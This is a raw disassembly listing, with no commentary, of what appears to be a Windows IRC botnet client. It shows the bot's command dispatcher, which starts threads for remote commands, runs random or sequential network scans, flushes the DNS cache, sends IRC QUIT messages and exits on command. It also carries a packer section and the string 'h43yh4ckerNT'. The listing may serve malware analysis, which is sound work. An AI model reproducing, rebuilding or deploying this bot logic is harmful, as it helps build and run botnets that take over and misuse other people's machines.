lea eax, [ebp+var_2C0]
push 26h
push eax
call sub_40AF8D
add esp, 24h
mov [ebp+var_ED0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F54]
push ebx
push eax
push offset sub_417474
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_ED0]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_403798
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D6A0
jmp loc_408338
; ---------------------------------------------------------------------------
loc_403790: ; CODE XREF: sub_401B66+1C38j
push 32h
call dword_428064 ; Sleep
loc_403798: ; CODE XREF: sub_401B66+1C17j
cmp [ebp+var_EC4], ebx
jz short loc_403790
jmp loc_402418
; ---------------------------------------------------------------------------
loc_4037A5: ; CODE XREF: sub_401B66+1B1Cj
; sub_401B66+1B31j
mov al, byte_432DB2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_432DB2
jz loc_401F9E
mov ecx, edx
loc_4037BC: ; CODE XREF: sub_401B66+1C5Ej
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037BC
cmp al, bl
jz loc_401F9E
mov [ebp+arg_10], edx
mov esi, offset aGxxx_0 ; "#Gxxx"
loc_4037D6: ; CODE XREF: sub_401B66+1F1Cj
push 0Bh
call sub_40B1CF
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403825
push ecx
lea eax, [ebp+var_2C0]
push offset unk_42D660
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 20h
jmp loc_403A79
; ---------------------------------------------------------------------------
loc_403825: ; CODE XREF: sub_401B66+1C8Aj
or [ebp+var_72C], 0FFFFFFFFh
cmp dword_432A90, ebx
mov [ebp+var_730], 64h
mov [ebp+var_744], 5
mov [ebp+var_740], 320h
mov [ebp+arg_0], ebx
jz short loc_403896
mov edi, offset dword_432A90
loc_40385A: ; CODE XREF: sub_401B66+1D12j
mov eax, [ebp+arg_10]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_40387C
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40385A
jmp short loc_403896
; ---------------------------------------------------------------------------
loc_40387C: ; CODE XREF: sub_401B66+1D08j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_72C], eax
shl ecx, 6
mov ecx, dword_432A90[ecx]
mov [ebp+var_748], ecx
loc_403896: ; CODE XREF: sub_401B66+1CEDj
; sub_401B66+1D14j
cmp [ebp+var_748], ebx
jz loc_403A9F
push 10h
lea eax, [ebp+var_2C8]
pop edi
push eax
lea eax, [ebp+var_2F4]
push eax
mov [ebp+var_2C8], edi
push [ebp+arg_4]
call dword_4CDC08 ; getsockname
mov al, [ebp+var_8FB]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F0], eax
push [ebp+var_2F0]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_85C]
push eax
call sub_41BDC0
xor eax, eax
cmp [ebp+var_8FB], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_85C]
push eax
call sub_41C610
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40393E
loc_40391C: ; CODE XREF: sub_401B66+1DD6j
cmp eax, ebx
jz short loc_40393E
mov byte ptr [eax], 78h
lea eax, [ebp+var_85C]
push 30h
push eax
call sub_41C610
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40391C
loc_40393E: ; CODE XREF: sub_401B66+1DB4j
; sub_401B66+1DB8j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_74C], eax
mov eax, [ebp+var_4]
mov [ebp+var_724], eax
loc_403956: ; DATA XREF: sub_5001B6+4Bw
; sub_5001B6+73r ...
mov eax, [ebp+var_8]
mov [ebp+var_720], eax
mov edi, 80h
lea eax, [ebp+var_84C]
loc_40396A: ; DATA XREF: sub_5001B6+88w
; sub_5002CD+36r
push edi
push eax
mov [ebp+var_71C], 1
loc_403976: ; DATA XREF: sub_500288+3Ew
; sub_5003AC+121r ...
call sub_41C150
push offset byte_43FE14
push esi
call sub_41C840
loc_403986: ; DATA XREF: .RLPack:004FFB1Dw
; .RLPack:004FFF62r ...
add esp, 14h
test eax, eax
jz short loc_4039A0
push esi
loc_40398E: ; DATA XREF: sub_4FF701+20w
; sub_4FF770+6w ...
lea eax, [ebp+var_7CC]
push edi
push eax
loc_403996: ; DATA XREF: .RLPack:loc_4FF9F5r
call sub_41C150
add esp, 0Ch
loc_40399E: ; DATA XREF: .RLPack:004FFA13w
; .RLPack:004FFA62r
jmp short loc_4039A6
; ---------------------------------------------------------------------------
loc_4039A0: ; CODE XREF: sub_401B66+1E25j
mov [ebp+var_7CC], bl
loc_4039A6: ; CODE XREF: sub_401B66:loc_40399Ej
; DATA XREF: sub_4FF6BA+1w ...
cmp [ebp+var_71C], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039B8
mov eax, offset aSequential ; "Sequential"
loc_4039B8: ; CODE XREF: sub_401B66+1E4Bj
push [ebp+var_730]
loc_4039BE: ; DATA XREF: sub_500139-8Er
lea ecx, [ebp+var_85C]
push [ebp+var_740]
loc_4039CA: ; DATA XREF: sub_500139-43w
; sub_500139-15r
push [ebp+var_744]
push [ebp+var_748]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42D5E0
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40AF8D
add esp, 2Ch
mov [ebp+var_73C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_85C]
push ebx
push eax
push offset sub_40C1BE
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_73C]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_403A95
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_42D5A4
push eax
call sub_41C056
add esp, 0Ch
loc_403A4B: ; CODE XREF: sub_401B66+1F37j
cmp [ebp+var_8], ebx
jnz short loc_403A6C
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_403A6C: ; CODE XREF: sub_401B66+1EE8j
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
pop ecx
loc_403A79: ; CODE XREF: sub_401B66+1CBAj
add [ebp+arg_10], 0Bh
mov eax, [ebp+arg_10]
cmp [eax], bl
jnz loc_4037D6
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_403A8D: ; CODE XREF: sub_401B66+1F35j
push 32h
call dword_428064 ; Sleep
loc_403A95: ; CODE XREF: sub_401B66+1EC8j
cmp [ebp+var_718], ebx
jz short loc_403A8D
jmp short loc_403A4B
; ---------------------------------------------------------------------------
loc_403A9F: ; CODE XREF: sub_401B66+1D36j
push offset unk_42D56C
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_403AA9: ; CODE XREF: sub_401B66+1A8Cj
; sub_401B66+1AA1j
push 5
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_403ABF
push offset unk_42D54C
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_403ABF: ; CODE XREF: sub_401B66+1F4Dj
mov eax, [ebp+esi+var_8C]
mov edi, 104h
cmp eax, ebx
jz short loc_403AE2
push eax
lea eax, [ebp+var_2E50]
push edi
push eax
call sub_41C150
add esp, 0Ch
jmp short loc_403AF1
; ---------------------------------------------------------------------------
loc_403AE2: ; CODE XREF: sub_401B66+1F67j
lea eax, [ebp+var_2E50]
push edi
push eax
push ebx
call dword_428074 ; GetModuleFileNameA
loc_403AF1: ; CODE XREF: sub_401B66+1F7Aj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B01
mov esi, offset byte_42A10C
loc_403B01: ; CODE XREF: sub_401B66+1F94j
push esi
lea eax, [ebp+var_2D4C]
push edi
push eax
call sub_41C150
mov eax, dword_42A07C
push 7Fh
push [ebp+var_88]
mov [ebp+var_2C40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2C44], ebx
mov [ebp+var_2E54], eax
lea eax, [ebp+var_2C3C]
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
mov [ebp+var_2BBC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2BB8], eax
lea eax, [ebp+var_2E50]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_2C40]
push offset unk_42D518
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 5
push eax
call sub_40AF8D
add esp, 34h
mov [ebp+var_2C48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2E54]
push ebx
push eax
push offset sub_411DF4
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_2C48]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_403BCD
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D4DC
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_403BC5: ; CODE XREF: sub_401B66+206Dj
push 32h
call dword_428064 ; Sleep
loc_403BCD: ; CODE XREF: sub_401B66+204Cj
cmp [ebp+var_2BB4], ebx
jz short loc_403BC5
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_403BDA: ; CODE XREF: sub_401B66:loc_4035C8j
; sub_401B66+1A77j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BF9
push edi
call sub_41BF49
test eax, eax
pop ecx
jz short loc_403BF9
push edi
call sub_41BF49
pop ecx
jmp short loc_403BFE
; ---------------------------------------------------------------------------
loc_403BF9: ; CODE XREF: sub_401B66+207Dj
; sub_401B66+2088j
mov eax, dword_4CDB04
loc_403BFE: ; CODE XREF: sub_401B66+2091j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C4], eax
xor eax, eax
cmp [ebp+var_8F8], bl
setz al
cmp esi, ebx
mov [ebp+var_36B0], eax
jz short loc_403C31
lea eax, [ebp+var_37C8]
push esi
push eax
call sub_41C056
pop ecx
pop ecx
jmp short loc_403C5C
; ---------------------------------------------------------------------------
loc_403C31: ; CODE XREF: sub_401B66+20B8j
lea eax, [ebp+var_4FF0]
push 104h
push eax
call dword_428078 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C4]
push ebx
push eax
lea eax, [ebp+var_4FF0]
push eax
call sub_41C1A1
add esp, 14h
loc_403C5C: ; CODE XREF: sub_401B66+20C9j
lea eax, [ebp+var_37C8]
push eax
call sub_41B7B0
cmp [ebp+eax+var_37C9], 5Ch
pop ecx
jnz short loc_403C87
lea eax, [ebp+var_37C8]
push eax
call sub_41B7B0
pop ecx
mov [ebp+eax+var_37C9], bl
loc_403C87: ; CODE XREF: sub_401B66+210Bj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A50]
mov [ebp+var_3A54], esi
push 80h
push eax
call sub_41C150
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B4], eax
lea eax, [ebp+var_37C8]
mov [ebp+var_36B8], edi
push eax
push [ebp+var_36C4]
push esi
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42D4A0
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 3
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_36BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A54]
push ebx
push eax
push offset sub_40F956
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_36BC]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_403D42
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D464
jmp loc_403E6C
; ---------------------------------------------------------------------------
loc_403D3A: ; CODE XREF: sub_401B66+21E2j
push 32h
call dword_428064 ; Sleep
loc_403D42: ; CODE XREF: sub_401B66+21C1j
cmp [ebp+var_36A8], ebx
jz short loc_403D3A
jmp loc_403E7B
; ---------------------------------------------------------------------------
loc_403D4F: ; CODE XREF: sub_401B66+1A38j
; sub_401B66+1A4Dj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D6E
push edi
call sub_41BF49
test eax, eax
pop ecx
jz short loc_403D6E
push edi
call sub_41BF49
pop ecx
jmp short loc_403D73
; ---------------------------------------------------------------------------
loc_403D6E: ; CODE XREF: sub_401B66+21F2j
; sub_401B66+21FDj
mov eax, dword_42A080
loc_403D73: ; CODE XREF: sub_401B66+2206j
mov [ebp+var_1820], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D8A
lea eax, [ebp+var_C0]
loc_403D8A: ; CODE XREF: sub_401B66+221Cj
push eax
lea eax, [ebp+var_1960]
push 40h
push eax
call sub_41C150
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DAC
mov esi, offset byte_43FE14
loc_403DAC: ; CODE XREF: sub_401B66+223Fj
push esi
lea eax, [ebp+var_1920]
push 100h
push eax
call sub_41C150
push [ebp+var_88]
lea eax, [ebp+var_19E0]
push 80h
push eax
call sub_41C150
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_180C], eax
lea eax, [ebp+var_1960]
push eax
mov [ebp+var_19E4], esi
push [ebp+var_1820]
mov [ebp+var_1810], edi
push esi
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42D428
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 9
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_181C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E4]
push ebx
push eax
push offset sub_4110CE
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_181C]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_403EA1
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D3EC
loc_403E6C: ; CODE XREF: sub_401B66+21CFj
; sub_401B66+4C14j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
loc_403E7B: ; CODE XREF: sub_401B66+21E4j
; sub_401B66+2343j ...
cmp [ebp+var_8], ebx
jnz loc_402418
push ebx
push edi
loc_403E86: ; CODE XREF: sub_401B66+64A6j
lea eax, [ebp+var_2C0]
push eax
push [ebp+var_88]
push esi
jmp loc_406EE2
; ---------------------------------------------------------------------------
loc_403E99: ; CODE XREF: sub_401B66+2341j
push 32h
call dword_428064 ; Sleep
loc_403EA1: ; CODE XREF: sub_401B66+22F8j
cmp [ebp+var_1808], ebx
jz short loc_403E99
jmp short loc_403E7B
; ---------------------------------------------------------------------------
loc_403EAB: ; CODE XREF: sub_401B66+1A0Ej
; sub_401B66+1A23j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EBE
push esi
call sub_41BF49
jmp short loc_403EC5
; ---------------------------------------------------------------------------
loc_403EBE: ; CODE XREF: sub_401B66+234Ej
push 0Bh
call sub_40B1EE
loc_403EC5: ; CODE XREF: sub_401B66+2356j
cmp eax, ebx
pop ecx
jz loc_40976F
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B8CE
jmp loc_4043C0
; ---------------------------------------------------------------------------
loc_403EE5: ; CODE XREF: sub_401B66+19E4j
; sub_401B66+19F9j
mov eax, dword_4CDB80
cmp eax, ebx
jz short loc_403F08
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_403F01
push offset unk_42D3C8
jmp short loc_403F13
; ---------------------------------------------------------------------------
loc_403F01: ; CODE XREF: sub_401B66+2392j
push offset unk_42D39C
jmp short loc_403F13
; ---------------------------------------------------------------------------
loc_403F08: ; CODE XREF: sub_401B66+2386j
push offset unk_42D370
lea eax, [ebp+var_2C0]
loc_403F13: ; CODE XREF: sub_401B66+2399j
; sub_401B66+23A0j ...
push 200h
push eax
call sub_41C150
jmp loc_406C98
; ---------------------------------------------------------------------------
loc_403F23: ; CODE XREF: sub_401B66+19BAj
; sub_401B66+19CFj
call sub_40AA3C
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_403F39
push offset unk_42D34C
jmp short loc_403F13
; ---------------------------------------------------------------------------
loc_403F39: ; CODE XREF: sub_401B66+23CAj
push offset unk_42D320
jmp short loc_403F13
; ---------------------------------------------------------------------------
loc_403F40: ; CODE XREF: sub_401B66+1990j
; sub_401B66+19A5j
cmp [ebp+var_8], ebx
jnz short loc_403F5F
push ebx
push [ebp+var_4]
push offset dword_42D308
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_403F5F: ; CODE XREF: sub_401B66+23DDj
push ebx
push [ebp+var_4]
call sub_4188B1
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push offset dword_42D2EC
jmp loc_40428D
; ---------------------------------------------------------------------------
loc_403F81: ; CODE XREF: sub_401B66+183Ej
; sub_401B66+1853j
push 0Ah
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_403F94
push offset unk_42D2C0
jmp short loc_403FB5
; ---------------------------------------------------------------------------
loc_403F94: ; CODE XREF: sub_401B66+2425j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A413
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FB0
push offset unk_42D298
jmp short loc_403FB5
; ---------------------------------------------------------------------------
loc_403FB0: ; CODE XREF: sub_401B66+2441j
push offset unk_42D278
loc_403FB5: ; CODE XREF: sub_401B66+242Cj
; sub_401B66+2448j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
pop ecx
pop ecx
loc_403FC3: ; CODE XREF: sub_401B66+5780j
; sub_401B66+70CBj
cmp [ebp+var_8], ebx
jnz short loc_403FE4
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FDC: ; CODE XREF: sub_401B66+6D24j
call sub_409982
add esp, 14h
loc_403FE4: ; CODE XREF: sub_401B66+2460j
; sub_401B66+267Bj ...
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
jmp loc_4098F0
; ---------------------------------------------------------------------------
loc_403FF5: ; CODE XREF: sub_401B66+1814j
; sub_401B66+1829j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A6D9
jmp loc_4042AE
; ---------------------------------------------------------------------------
loc_40400E: ; CODE XREF: sub_401B66+17EAj
; sub_401B66+17FFj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_417187
jmp loc_4042AE
; ---------------------------------------------------------------------------
loc_40402B: ; CODE XREF: sub_401B66+17C0j
; sub_401B66+17D5j
or edi, 0FFFFFFFFh
call dword_4280A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404054
push esi
call sub_41BF49
pop ecx
mov edi, eax
loc_404054: ; CODE XREF: sub_401B66+24E3j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406D
cmp edi, 0FFFFFFFFh
jnz loc_40976F
loc_40406D: ; CODE XREF: sub_401B66+24FCj
push ebx
call sub_41B05C
push eax
lea eax, [ebp+var_2C0]
push offset dword_42D260
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
loc_4040AA: ; CODE XREF: sub_401B66+5DD7j
add esp, 28h
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_4040B2: ; CODE XREF: sub_401B66+1796j
; sub_401B66+17ABj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416028
lea eax, [ebp+var_2C0]
push offset dword_42D240
push eax
call sub_41C056
loc_4040D4: ; CODE XREF: sub_401B66+66C6j
add esp, 14h
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_4040DC: ; CODE XREF: sub_401B66+176Cj
; sub_401B66+1781j
push 27h
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_40410D
cmp [ebp+var_8], ebx
jnz loc_401F9E
push ebx
push [ebp+var_4]
push offset unk_42D220
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
jmp loc_408C4B
; ---------------------------------------------------------------------------
loc_40410D: ; CODE XREF: sub_401B66+2580j
push [ebp+var_88]
lea eax, [ebp+var_B28]
push 80h
push eax
call sub_41C150
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B2C], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA0], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_A9C], eax
mov [ebp+var_AA4], ebx
jz short loc_40416E
push esi
push offset aFull ; "full"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40416E
mov [ebp+var_AA4], 1
loc_40416E: ; CODE XREF: sub_401B66+25EBj
; sub_401B66+25FCj
lea eax, [ebp+var_2C0]
push offset dword_42D1FC
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 27h
push eax
call sub_40AF8D
add esp, 14h
mov [ebp+var_AA8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B2C]
push ebx
push eax
push offset sub_41A09A
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_AA8]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4041EE
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset unk_42D1C0
push eax
call sub_41C056
add esp, 0Ch
jmp loc_403FE4
; ---------------------------------------------------------------------------
loc_4041E6: ; CODE XREF: sub_401B66+268Ej
push 32h
call dword_428064 ; Sleep
loc_4041EE: ; CODE XREF: sub_401B66+265Ej
cmp [ebp+var_A98], ebx
jz short loc_4041E6
jmp loc_403FE4
; ---------------------------------------------------------------------------
loc_4041FB: ; CODE XREF: sub_401B66+1742j
; sub_401B66+1757j
cmp [ebp+var_8], ebx
jnz short loc_40421A
push ebx
push [ebp+var_4]
push offset dword_42D1A4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_40421A: ; CODE XREF: sub_401B66+2698j
push [ebp+arg_4]
call dword_4CDCFC ; closesocket
call dword_4CDBBC ; WSACleanup
call sub_418A34
push ebx
call dword_428068 ; ExitProcess
loc_404235: ; CODE XREF: sub_401B66+1718j
; sub_401B66+172Dj
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41B1FC
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push offset dword_42D188
jmp short loc_40428D
; ---------------------------------------------------------------------------
loc_404260: ; CODE XREF: sub_401B66+16EEj
; sub_401B66+1703j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B4B0
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push offset dword_42D16C
loc_40428D: ; CODE XREF: sub_401B66+2416j
; sub_401B66+26F8j
call sub_4157A5
loc_404292: ; CODE XREF: sub_401B66+6E2Dj
add esp, 18h
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_40429A: ; CODE XREF: sub_401B66+16C4j
; sub_401B66+16D9j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415845
loc_4042AE: ; CODE XREF: sub_401B66+37Bj
; sub_401B66+24A3j ...
add esp, 10h
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_4042B6: ; CODE XREF: sub_401B66+169Aj
; sub_401B66+16AFj
cmp [ebp+var_C], ebx
mov [ebp+var_1590], bl
jz short loc_4042F5
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042F5
push esi
push [ebp+var_C]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042F5
push eax
push offset aS_2 ; "%s"
lea eax, [ebp+var_1590]
push 80h
push eax
call sub_41C150
add esp, 10h
loc_4042F5: ; CODE XREF: sub_401B66+2759j
; sub_401B66+2764j ...
push [ebp+var_88]
lea eax, [ebp+var_1610]
push 80h
push eax
call sub_41C150
mov eax, [ebp+arg_4]
push offset dword_42D154
mov [ebp+var_1614], eax
mov eax, [ebp+var_4]
mov [ebp+var_150C], eax
mov eax, [ebp+var_8]
mov [ebp+var_1508], eax
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 25h
push eax
call sub_40AF8D
add esp, 20h
mov [ebp+var_1510], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1614]
push ebx
push eax
push offset sub_415886
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_1510]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_404398
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D11C
jmp loc_4098EA
; ---------------------------------------------------------------------------
loc_404390: ; CODE XREF: sub_401B66+2838j
push 32h
call dword_428064 ; Sleep
loc_404398: ; CODE XREF: sub_401B66+2817j
cmp [ebp+var_1504], ebx
jz short loc_404390
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_4043A5: ; CODE XREF: sub_401B66+1670j
; sub_401B66+1685j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41572D
push offset dword_42D104
call sub_4157A5
loc_4043C0: ; CODE XREF: sub_401B66+237Aj
add esp, 10h
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_4043C8: ; CODE XREF: sub_401B66+1646j
; sub_401B66+165Bj
push [ebp+var_88]
lea eax, [ebp+var_BC0]
push 80h
push eax
call sub_41C150
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_B38], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B34], eax
jz short loc_404422
push offset dword_42D100
push esi
call sub_41C840
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B3C], eax
jmp short loc_404428
; ---------------------------------------------------------------------------
loc_404422: ; CODE XREF: sub_401B66+28A0j
mov [ebp+var_B3C], ebx
loc_404428: ; CODE XREF: sub_401B66+28BAj
lea eax, [ebp+var_2C0]
push offset dword_42D0E0
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 28h
push eax
call sub_40AF8D
add esp, 14h
mov [ebp+var_B40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC4]
push ebx
push eax
push offset sub_40AFF8
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_B40]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4044A8
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D0A4
loc_40448C: ; CODE XREF: sub_401B66+7633j
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
jmp loc_406CBC
; ---------------------------------------------------------------------------
loc_4044A0: ; CODE XREF: sub_401B66+2948j
push 32h
call dword_428064 ; Sleep
loc_4044A8: ; CODE XREF: sub_401B66+2918j
cmp [ebp+var_B30], ebx
jz short loc_4044A0
jmp loc_406CBC
; ---------------------------------------------------------------------------
loc_4044B5: ; CODE XREF: sub_401B66+15CAj
; sub_401B66+15DFj
push offset aH43yh4ckernt ; "h43yh4ckerNT"
lea eax, [ebp+var_2C0]
push offset dword_42D08C
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 20h
jmp loc_406CBC
; ---------------------------------------------------------------------------
loc_4044EC: ; CODE XREF: sub_401B66+15A0j
; sub_401B66+15B5j
push dword_4CD99C
call sub_41B05C
push eax
lea eax, [ebp+var_2C0]
push offset unk_42D060
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 24h
jmp loc_406CBC
; ---------------------------------------------------------------------------
loc_40452A: ; CODE XREF: sub_401B66+1576j
; sub_401B66+158Bj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40455C
cmp [ebp+var_C], ebx
jz short loc_40456B
push esi
push [ebp+var_C]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40456B
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40993C
add esp, 0Ch
jmp short loc_40456B
; ---------------------------------------------------------------------------
loc_40455C: ; CODE XREF: sub_401B66+29CDj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
